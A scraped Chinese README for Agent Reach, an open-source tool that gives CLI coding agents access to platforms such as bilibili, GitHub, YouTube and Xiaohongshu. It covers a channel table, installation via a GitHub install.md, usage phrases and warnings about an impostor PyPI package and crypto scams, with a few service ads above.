| \n BrowserAct \u652f\u6301\u4ece Amazon\u3001LinkedIn\u3001X\u3001Google Maps \u7b49\u590d\u6742\u7f51\u7ad9\u63d0\u53d6\u4f60\u9700\u8981\u7684\u4efb\u610f\u6570\u636e\u3002\u4f60\u53ea\u9700\u7528\u81ea\u7136\u8bed\u8a00\u63cf\u8ff0\u6293\u53d6\u9700\u6c42\uff0cAgent \u5c31\u4f1a\u57fa\u4e8e\u771f\u5b9e\u6d4f\u89c8\u5668\u81ea\u52a8\u63a2\u7d22\u5e76\u6d4b\u8bd5\u9875\u9762\u6d41\u7a0b\uff0c\u751f\u6210\u53ef\u9760\u3001\u53ef\u590d\u7528\u7684\u6570\u636e\u91c7\u96c6 Bot\uff0c\u5e76\u8fd4\u56de\u7ed3\u6784\u5316\u7ed3\u679c\u3002\u65e0\u9700\u624b\u52a8\u6784\u5efa\u722c\u866b\uff0c\u65e0\u9700\u7f16\u5199\u4ee3\u7801\u3002BrowserAct \u5185\u7f6e\u9690\u8eab\u6d4f\u89c8\u3001\u9a8c\u8bc1\u7801\u5904\u7406\u548c\u9ad8\u8d28\u91cf\u4f4f\u5b85\u4ee3\u7406\uff0c\u5e2e\u52a9\u4f60\u66f4\u7a33\u5b9a\u5730\u5b8c\u6210\u590d\u6742\u7f51\u9875\u6570\u636e\u91c7\u96c6\u3002\u65b0\u7528\u6237\u6ce8\u518c\u5373\u9001 1000 \u79ef\u5206\uff0c\u7acb\u5373\u514d\u8d39\u8bd5\u7528\u3002 | \n
| \n \u5728\u817e\u8baf\u4e91 Lighthouse \u79d2\u7ea7\u90e8\u7f72 OpenClaw \u5168\u80fd\u52a9\u624b\uff0c\u53ef\u901a\u8fc7\u5bf9\u8bdd\u4e1d\u6ed1\u63a5\u5165 Agent Reach\uff0c\u7ed9\u4f60\u7684 OpenClaw \u4e00\u952e\u88c5\u4e0a\u4e92\u8054\u7f51\u80fd\u529b\u3002 | \n
| \n CoreClaw | \u7f51\u9875\u6293\u53d6\u5e73\u53f0\u4e0e\u73b0\u6210\u6570\u636e\u91c7\u96c6\u5de5\u5177\uff0cCoreClaw \u63d0\u4f9b 100+ \u73b0\u6210\u6570\u636e\u91c7\u96c6\u5de5\u5177\uff0c\u652f\u6301 Amazon\u3001TikTok\u3001Google Maps\u3001Instagram\u3001Facebook\u3001YouTube \u7b49\u5e73\u53f0\uff0c\u65e0\u9700\u4ee3\u7801\uff0c\u652f\u6301 JSON/CSV \u5bfc\u51fa\uff0c\u4ec5\u5bf9\u6210\u529f\u7ed3\u679c\u8ba1\u8d39\u3002\u514d\u8d39$3\u6d4b\u8bd5\uff01 | \n
| \n \u4f18\u523b\u5f97\u661f\u56feastraflow\u5927\u6a21\u578b\uff0c\u652f\u6301200+\u6a21\u578b\u4e00\u952e\u8c03\u7528\uff1a\u5185\u7f6e Kimi K3\u3001DeepSeek V4/V3\u3001Qwen 3\u3001GLM5.2\u3001happyhorse\u7b49\u5168\u7403\u9886\u5148\u5f00\u6e90\u5927\u6a21\u578b\uff0c\u65e0\u9700\u81ea\u8bad\uff0c\u5f00\u7bb1\u5373\u7528 | \n
Agent Reach \u8ba9\u4f60\u7684 Agent \u771f\u6b63\u8fde\u4e0a\u4e92\u8054\u7f51\uff0c\u7528\u4e0a\u5b83\u81ea\u5df1\u591f\u4e0d\u7740\u7684\u5e73\u53f0\u548c\u80fd\u529b\u3002
\nClaude Code\u3001Codex\u3001Hermes Agent\u3001OpenClaw \u8fd9\u7c7b CLI Agent \u81ea\u5e26\u641c\u7d22\u548c\u7f51\u9875\u8bfb\u53d6\uff0c\u4f46\u4e0b\u9762\u8fd9\u4e9b\u5b83\u4eec\u57fa\u672c\u591f\u4e0d\u7740\uff1a
\nAgent Reach \u628a\u8fd9\u4e9b\u5e73\u53f0\u80cc\u540e\u7684\u5de5\u5177\u66ff\u4f60\u88c5\u597d\u3001\u6d4b\u597d\uff0cAgent \u4e00\u6761\u547d\u4ee4\u5c31\u80fd\u7528\uff1a
\nagent-reach channels # \u6709\u54ea\u4e9b\u6e20\u9053\u3001\u6bcf\u4e2a\u6e20\u9053\u80fd\u505a\u4ec0\u4e48\nagent-reach bilibili search \"\u5927\u6a21\u578b\" # agent-reach <\u6e20\u9053> <\u52a8\u4f5c> [\u53c2\u6570]\nagent-reach read https://www.v2ex.com/t/123 # \u6309\u94fe\u63a5\u81ea\u52a8\u9009\u6e20\u9053\n\u4e0b\u8868\u662f\u5f53\u524d\u7248\u672c\u7684\u60c5\u51b5\u3002
\n| \u6e20\u9053 | \n\u7b49\u7ea7 | \n\u80fd\u505a\u4ec0\u4e48 | \n\u9700\u8981\u4ec0\u4e48 | \n
|---|---|---|---|
| bilibili | \n\u9ed8\u8ba4 | \n\u641c\u7d22\u3001\u89c6\u9891\u4fe1\u606f\u3001\u70ed\u95e8\u3001\u5b57\u5e55 | \n\u65e0\uff1b\u5b57\u5e55\u9700\u8981\u767b\u5f55\uff08\u626b\u7801\uff09 | \n
| v2ex | \n\u9ed8\u8ba4 | \n\u70ed\u95e8\u3001\u8282\u70b9\u3001\u5e16\u5b50\u548c\u56de\u590d\u3001\u7528\u6237 | \n\u65e0 | \n
| github | \n\u9ed8\u8ba4 | \n\u641c\u4ed3\u5e93\u3001\u8bfb\u4ed3\u5e93/README\u3001\u8bfb issue \u548c PR\uff08\u542b\u8bc4\u8bba\uff09 | \n\u65e0 | \n
| youtube | \n\u9ed8\u8ba4 | \n\u89c6\u9891\u4fe1\u606f\u3001\u641c\u7d22\u3001\u5b57\u5e55\u3001\u8bed\u97f3\u8f6c\u6587\u5b57 | \n\u65e0\uff1b\u8f6c\u6587\u5b57\u9700\u8981 Groq \u6216 OpenAI Key | \n
| web | \n\u9ed8\u8ba4 | \n\u7f51\u9875\u641c\u7d22\u3001\u7f51\u9875\u9605\u8bfb\uff08\u4fdd\u5e95\uff09 | \n\u65e0 | \n
| xiaohongshu | \n\u53ef\u9009 | \n\u641c\u7b14\u8bb0\u3001\u8bfb\u6b63\u6587\u3001\u770b\u8bc4\u8bba | \n\u767b\u5f55 | \n
| xueqiu | \n\u53ef\u9009 | \n\u5b9e\u65f6\u884c\u60c5\u3001\u641c\u80a1\u7968\u3001\u70ed\u5e16\u3001\u70ed\u80a1 | \n\u884c\u60c5\u4e0d\u7528\u767b\u5f55\uff1b\u70ed\u5e16\u3001\u70ed\u80a1\u8981\u767b\u5f55 | \n
| boss | \n\u53ef\u9009 | \n\u641c\u804c\u4f4d\u548c JD | \n\u767b\u5f55 | \n
| xiaoyuzhou | \n\u53ef\u9009 | \n\u64ad\u5ba2\u8f6c\u6587\u5b57 | \nGroq Key | \n
| \u53ef\u9009 | \n\u641c\u804c\u4f4d\u3001\u8bfb\u804c\u4f4d\u8be6\u60c5 | \n\u516c\u5f00\u804c\u4f4d\u4e0d\u7528\u767b\u5f55\uff1b\u7ad9\u5185\u641c\u7d22\u8981\u767b\u5f55 | \n|
| \u53ef\u9009 | \n\u641c\u5e16\u5b50\u3001\u8bfb\u6b63\u6587\u3001\u770b\u8bc4\u8bba\u3001\u770b\u7248\u5757 | \n\u767b\u5f55 | \n|
| \u5b9e\u9a8c | \n\u641c\u63a8\u6587\u3001\u7528\u6237\u8d44\u6599\u3001\u7528\u6237\u63a8\u6587\u3001\u8bfb\u63a8\u6587\u4e32 | \n\u767b\u5f55 | \n|
| \u5b9e\u9a8c | \n\u641c\u7d22\u3001\u4e3b\u9875\u8d44\u6599 | \n\u767b\u5f55 | \n|
| \u5b9e\u9a8c | \n\u641c\u7528\u6237\u3001\u4e3b\u9875\u8d44\u6599\u3001\u7528\u6237\u5e16\u5b50 | \n\u767b\u5f55 | \n
\u628a\u8fd9\u53e5\u8bdd\u53d1\u7ed9\u4f60\u7684 Agent\uff1a
\n\u5e2e\u6211\u5b89\u88c5 Agent Reach\uff1ahttps://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/install.md\n\u65e0\u8bba\u662f\u5b89\u88c5\u8fd8\u662f\u5347\u7ea7\uff0c\u90fd\u53ea\u9700\u8981\u8fd9\u4e00\u6761\u547d\u4ee4\u5c31\u884c\u4e86\u3002
\n\u5269\u4e0b\u7684 Agent \u81ea\u5df1\u505a\u5b8c\u3002\u8fc7\u7a0b\u4e2d\u4f60\u53ef\u80fd\u4f1a\u88ab\u95ee\u5230\uff1a
\n\u5173\u4e8e\u767b\u5f55\uff1a\u90e8\u5206\u5e73\u53f0\u4f1a\u76f4\u63a5\u590d\u7528\u4f60\u7535\u8111\u4e0a\u5df2\u6709\u7684\u767b\u5f55\u3002\u60f3\u6362\u6210\u67d0\u4e2a\u7279\u5b9a\u8d26\u53f7\uff08\u6bd4\u5982\u5c0f\u53f7\uff09\uff0c\u8ddf Agent \u8bf4\u4e00\u58f0\u5c31\u884c\u3002Agent \u4ece\u4e0d\u66ff\u4f60\u767b\u5f55\uff0c\u4e5f\u4e0d\u4f1a\u8981\u4f60\u7684\u5bc6\u7801\u3002
\n\n\n\u26a0\ufe0f PyPI \u4e0a\u53eb
\nagent-reach\u7684\u5305\u4e0d\u662f\u672c\u9879\u76ee\uff0c\u8bf7\u52ff\u4ece PyPI \u5b89\u88c5\uff0c\u53ea\u7528 install.md \u91cc\u7684 GitHub \u5730\u5740\u3002
Agent Reach \u88c5\u7684\u6240\u6709\u4e1c\u897f\uff08\u5404\u6e20\u9053\u7684\u5de5\u5177\u3001\u767b\u5f55\u3001\u8bbe\u7f6e\uff09\u90fd\u653e\u5728\u4f60\u7535\u8111\u4e0a\u540c\u4e00\u4e2a\u6587\u4ef6\u5939\u91cc\uff08~/.agent-reach/\uff09\uff0c\u4e0d\u6563\u843d\u5230\u522b\u5904\u3002\u6240\u4ee5\u5347\u7ea7\u3001\u7ba1\u7406\u3001\u5220\u9664\u90fd\u5f88\u7701\u4e8b\uff0c\u4e00\u53e5\u8bdd\u5c31\u884c\u3002
\u76f4\u63a5\u7528\u5927\u767d\u8bdd\u8ddf Agent \u8bf4\uff1a
\n| \u4f60\u8bf4 | \n\u5b83\u4f1a\u505a\u4ec0\u4e48 | \n
|---|---|
| \"\u770b\u770b Agent Reach \u72b6\u6001\" | \n\u544a\u8bc9\u4f60\u6bcf\u4e2a\u6e20\u9053\u73b0\u5728\u80fd\u4e0d\u80fd\u7528\uff0c\u54ea\u4e9b\u662f\u4e0a\u6b21\u8fd8\u597d\u3001\u73b0\u5728\u574f\u4e86 | \n
| \"\u52a0\u4e0a\u5c0f\u7ea2\u4e66\" / \"\u53bb\u6389\u5c0f\u7ea2\u4e66\" | \n\u5f00\u542f\u5e76\u88c5\u597d\u5b83\u9700\u8981\u7684\u4e00\u5207 / \u5173\u6389\u5b83\uff0c\u6e05\u6389\u5b83\u7684\u767b\u5f55\u548c\u4e13\u7528\u5de5\u5177 | \n
| \"\u5c0f\u7ea2\u4e66\u767b\u5f55\u8fc7\u671f\u4e86\" / \"\u6362\u4e2a\u8d26\u53f7\" / \"\u9000\u51fa\u767b\u5f55\" | \n\u6253\u5f00\u767b\u5f55\u7a97\u53e3\uff0c\u7531\u4f60\u672c\u4eba\u767b\u5f55 / \u6e05\u6389\u8fd9\u4e2a\u7f51\u7ad9\u7684\u767b\u5f55 | \n
| \"\u5347\u7ea7 Agent Reach\" | \n\u4e00\u6b21\u66f4\u65b0\u7a0b\u5e8f\u548c\u5404\u6e20\u9053\u7684\u5de5\u5177\uff0c\u5e76\u544a\u8bc9\u4f60\u8fd8\u9700\u8981\u505a\u4ec0\u4e48 | \n
| \"\u5378\u8f7d Agent Reach\" | \n\u5148\u5217\u51fa\u8981\u5220\u7684\u4e1c\u897f\uff0c\u4f60\u786e\u8ba4\u540e\u518d\u5220 | \n
| \"\u8ba9\u53e6\u4e00\u4e2a AI \u4e5f\u80fd\u7528\" | \n\u7ed9\u90a3\u4e2a AI \u4e5f\u653e\u4e00\u4efd\u4f7f\u7528\u8bf4\u660e | \n
\u51fa\u4e86\u95ee\u9898\uff0cAgent \u4f1a\u544a\u8bc9\u4f60\u662f\u54ea\u4e2a\u5e73\u53f0\u3001\u4ec0\u4e48\u539f\u56e0\u3001\u4e0b\u4e00\u6b65\u600e\u4e48\u505a\u3002\u5e38\u89c1\u95ee\u9898\u89c1 troubleshooting.md\u3002
\n\u6bcf\u4e2a\u5e73\u53f0\u7684\u6bcf\u4e2a\u52a8\u4f5c\u90fd\u6709\u4e00\u4e2a\u6309\u987a\u5e8f\u5c1d\u8bd5\u7684\u5de5\u5177\u5217\u8868\u3002\u6bd4\u5982\u8bfb B\u7ad9\u89c6\u9891\u5148\u7528 bili-cli\uff0c\u5931\u8d25\u4e86\u81ea\u52a8\u6362 B\u7ad9\u516c\u5f00\u63a5\u53e3\uff1b\u8bfb\u7f51\u9875\u5148\u7528 Jina Reader\uff0c\u518d\u7528 Exa\u3002
\nflowchart LR\n A[Agent] -->|agent-reach \u6e20\u9053 \u52a8\u4f5c| B[Agent Reach]\n B --> C{\u6309\u987a\u5e8f\u5c1d\u8bd5}\n C -->|\u9996\u9009| D[\u4e0a\u6e38\u5de5\u5177 1]\n C -->|\u5931\u8d25\u65f6\u5907\u9009| E[\u4e0a\u6e38\u5de5\u5177 2]\n D --> F[\u7ed3\u679c]\n E --> F\n F --> A\n\u5e73\u53f0\u6539\u7248\u3001\u5de5\u5177\u5931\u6548\u662f\u5e38\u6001\u3002\u6362\u5de5\u5177\u53ea\u662f\u8c03\u6574\u8fd9\u4e2a\u5217\u8868\uff0cAgent \u7684\u7528\u6cd5\u4e0d\u53d8\u3002
\nagent-reach configure groq-key \u586b\u5199\u3002\u8ddf Agent \u8bf4\"\u5378\u8f7d Agent Reach\"\u3002\u5b83\u4f1a\u5148\u5217\u51fa\u8981\u5220\u7684\u4e1c\u897f\uff0c\u4f60\u786e\u8ba4\u540e\u518d\u5220\u3002\u53ea\u5220 Agent Reach \u81ea\u5df1\u88c5\u7684\u4e1c\u897f\uff0c\u4f60\u7684\u5176\u4ed6\u6587\u4ef6\u548c\u6d4f\u89c8\u5668\u90fd\u4e0d\u52a8\u3002\u6700\u540e\u5b83\u4f1a\u544a\u8bc9\u4f60\u600e\u4e48\u5220\u6389\u7a0b\u5e8f\u672c\u8eab\u3002
\n\u8fd9\u4e2a\u9879\u76ee\u6211\u81ea\u5df1\u6bcf\u5929\u5728\u7528\uff0c\u6240\u4ee5\u6211\u4f1a\u4e00\u76f4\u7ef4\u62a4\u5b83\u3002
\nStar \u4e00\u4e0b\uff0c\u4e0b\u6b21\u9700\u8981\u7684\u65f6\u5019\u80fd\u627e\u5230\u3002\u2b50
\nOpenCLI \u00b7 bili-cli \u00b7 boss-agent-cli \u00b7 yt-dlp \u00b7 Jina Reader \u00b7 Exa
\n\u6709\u76f8\u5173\u5408\u4f5c\uff0c\u6216\u8005\u60f3\u52a0\u4ea4\u6d41\u7fa4\uff0c\u52a0\u6211\u5fae\u4fe1\uff0c\u6216\u76f4\u63a5\u52a0\u5165 Discord \u793e\u533a\uff1a
\n
\n\nBug \u53cd\u9988\u548c\u529f\u80fd\u8bf7\u6c42\u8bf7\u7528 GitHub Issues\uff0c\u66f4\u5bb9\u6613\u8ddf\u8e2a\u3002
\n
Agent Reach \u6ca1\u6709\u5b98\u65b9\u4ee3\u5e01\u3001\u5e01\u3001\u6295\u8d44\u4ea7\u54c1\u3001\u9886\u53d6\u624b\u7eed\u8d39\u6d3b\u52a8\u3001\u94b1\u5305\u8fde\u63a5\uff0c\u4e5f\u6ca1\u6709 Solana/Pump.fun \u9879\u76ee\u3002\u4efb\u4f55\u501f\u7528 Agent Reach \u540d\u5b57\u3001GitHub \u5730\u5740\u6216\u4f5c\u8005\u8eab\u4efd\u7684\u52a0\u5bc6\u9879\u76ee\u90fd\u4e0e\u672c\u4ed3\u5e93\u65e0\u5173\uff0c\u8bf7\u52ff\u636e\u6b64\u8fde\u63a5\u94b1\u5305\u6216\u9886\u53d6\u4efb\u4f55\u8d39\u7528\u3002
\nAgent Skills Hub \u2014 \u627e Claude \u6280\u80fd\u548c MCP \u670d\u52a1\u5668\uff0c\u4e0d\u7528\u731c\u54ea\u4e2a\u5b89\u5168\uff1a133,000+ \u4e2a\u6761\u76ee\u5168\u90e8\u5b89\u5168\u5206\u7ea7\u3001\u8d28\u91cf\u8bc4\u5206\uff0c\u6bcf 8 \u5c0f\u65f6\u5237\u65b0\u3002
\nAtomGit \u955c\u50cf \u2014 Agent Reach \u7684 AtomGit \u540c\u6b65\u955c\u50cf\uff0c\u4fbf\u4e8e\u56fd\u5185\u8bbf\u95ee\u4e0e\u514b\u9686\u3002
\n